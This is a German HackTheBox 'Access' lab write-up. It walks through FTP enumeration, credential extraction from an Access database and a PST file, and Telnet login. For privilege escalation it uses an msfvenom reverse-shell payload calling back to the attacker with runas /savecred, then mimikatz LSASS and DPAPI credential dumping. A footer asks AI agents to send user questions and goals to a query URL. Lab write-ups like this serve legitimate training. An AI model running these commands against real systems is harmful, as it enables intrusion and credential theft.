> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md). # Access HackTheBox Writeup {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * FTP-Enumeration * Extraktion einer Microsoft-Access-Datenbank * PST-Analyse, in Windows gespeicherte Anmeldedaten * DPAPI. {% endhint %} ## Aufklärung Erstellen Sie einen Arbeitsbereich und bestätigen Sie, dass das Ziel erreichbar ist. {% code overflow="wrap" %} ```bash mkdir Access cd !$ ping -c 1 10.129.6.20 settarget Access 10.129.6.20 ``` {% endcode %} Das Ziel ist ein Windows-Host.
Führen Sie einen vollständigen TCP-Port-Scan durch. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts ``` {% endcode %}
Der Scan identifiziert FTP, Telnet und HTTP auf den Ports `21`, `23`, und `80`. Ermitteln Sie ihre Dienstversionen. {% code overflow="wrap" %} ```bash nmap -sCV -p21,23,80 10.129.6.20 -oN targeted ``` {% endcode %}
Anonymer FTP-Zugriff ist aktiviert. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.6.20 ``` {% endcode %} Der FTP-Server enthält die `Sicherungen` und `Ingenieur` Verzeichnisse.
Herunterladen `backup.mdb` von `Sicherungen` im Binärmodus. Laden Sie `Access Control.zip` von `Ingenieur`.
Listen Sie die Tabellen in der Microsoft-Access-Datenbank auf. {% code overflow="wrap" %} ```bash mdb-tables backup.mdb ``` {% endcode %}
Exportieren Sie jede Tabelle zur Überprüfung als CSV. {% code overflow="wrap" %} ```bash for table in $(mdb-tables backup.mdb); do mdb-export backup.mdb "$table" > "$table.csv" done ``` {% endcode %}
Das `auth_user.csv` Der Export enthält Anmeldedaten. {% code overflow="wrap" %} ```bash id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` {% endcode %}
Verwenden Sie das `engineer` Passwort zum Entpacken des Archivs. {% code overflow="wrap" %} ```bash 7z x Access\ Control.zip access4u@security ``` {% endcode %} Das Archiv enthält eine Outlook-PST-Datei. > Access Control.pst: Microsoft Outlook Persönlicher Speicher (>=2003, Unicode, Version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
Extrahieren Sie die PST-Nachrichten. {% code overflow="wrap" %} ```bash readpst -cv -e -o output Access\ Control.pst ``` {% endcode %} Dies erstellt eine `.eml` Nachricht.
Die E-Mail verrät das `security` Kontopasswort. {% code overflow="wrap" %} ```bash Hallo, Das Passwort für das Konto „security“ wurde in 4Cc3ssC0ntr0ller geändert. Bitte stellen Sie sicher, dass dies an Ihre Techniker weitergegeben wird. Mit freundlichen Grüßen, John ``` {% endcode %}
Melden Sie sich bei Telnet an als `security`. {% code overflow="wrap" %} ```bash telnet 10.129.6.20 23 ``` {% endcode %} * security * 4Cc3ssC0ntr0ller
Beschaffen Sie `user.txt`.
### Privilegieneskalation mit gespeicherten Anmeldedaten Listen Sie die von Windows gespeicherten Anmeldedaten auf. {% code overflow="wrap" %} ```bash cmdkey /list ``` {% endcode %}
Die gespeicherten `ACCESS\Administrator` Anmeldedaten können einen Prozess mit `runas /savecred`. Erstellen Sie eine Reverse-Shell-Nutzlast. {% code overflow="wrap" %} ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe ``` {% endcode %} Übertragen `nikos.exe` auf das Ziel. Starten Sie dann einen Listener auf Port `1234`. {% code overflow="wrap" %} ```bash nc -nlvp 1234 ``` {% endcode %} Führen Sie die Nutzlast aus als `ACCESS\Administrator`. {% code overflow="wrap" %} ```bash runas /savecred /user:ACCESS\Administrator "nikos.exe" ``` {% endcode %} Der Callback läuft als Administrator.
Beschaffen Sie `root.txt`.
### Das gespeicherte Administrator-Anmeldedatum wiederherstellen Die gespeicherte Anmeldedaten sind mit DPAPI geschützt. Stellen Sie ihr Geheimnis aus dem `security` Profil wieder her. #### Anmeldedaten-Blobs lokalisieren Die Blobs befinden sich im `security` Profil. Verwenden Sie `/a` weil die Dateien versteckt sind. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials ``` {% endcode %} * `0F16D9D2A97B325E559235F507B7AB01` * `51AB168BE4BDB3A603DADE4F8CA81290`
Der richtige Blob ist `51AB168BE4BDB3A603DADE4F8CA81290`. Sein `08/22/2018` Zeitstempel stimmt mit dem Public-Desktop- `.lnk` Datei überein. Der andere Blob wurde während der Überprüfung erstellt. #### Identifizieren Sie die Master-Key-GUID Untersuchen Sie den Blob, um den benötigten DPAPI-Master-Key zu identifizieren. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit" ``` {% endcode %} Notieren Sie die Master-Key-GUID. * guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580
#### Prüfen Sie LSASS auf den Master-Key Dumpen Sie die in LSASS geladenen DPAPI-Master-Keys. {% code overflow="wrap" %} ```bash mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit" ``` {% endcode %} Die erforderliche GUID `{0792c32e-...}` ist nicht vorhanden. Das passiert, weil: * Der Master-Key gehört zu dem `security` Profil wieder her. * Die aktuelle Sitzung läuft als `Administrator`. * Das `security` Der Master-Key ist in diesem Kontext nicht geladen. Der Dump enthält nur Master-Keys für `Administrator` und `ACCESS$`. ``` GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997} → Administrator GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d} → ACCESS$ ``` #### Den Master-Key von der Festplatte entschlüsseln Entschlüsseln Sie den Master-Key direkt von der Festplatte. Verwenden Sie den bekannten `security` Passwort offengelegt werden. Suchen Sie zuerst die Master-Key-Datei. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001 ``` {% endcode %} {% hint style="info" %} Das `security` Die SID endet mit `-1001`. Die SID des Administrators endet mit `-500`. {% endhint %} Entschlüsseln Sie den Master-Key mit Mimikatz. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit" ``` {% endcode %} Der SHA-1 des Master-Keys ist `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.
#### Den Anmeldedaten-Blob entschlüsseln Verwenden Sie den SHA-1 des Master-Keys, um den Anmeldedaten-Blob zu entschlüsseln und das gespeicherte Passwort wiederherzustellen. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit" ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.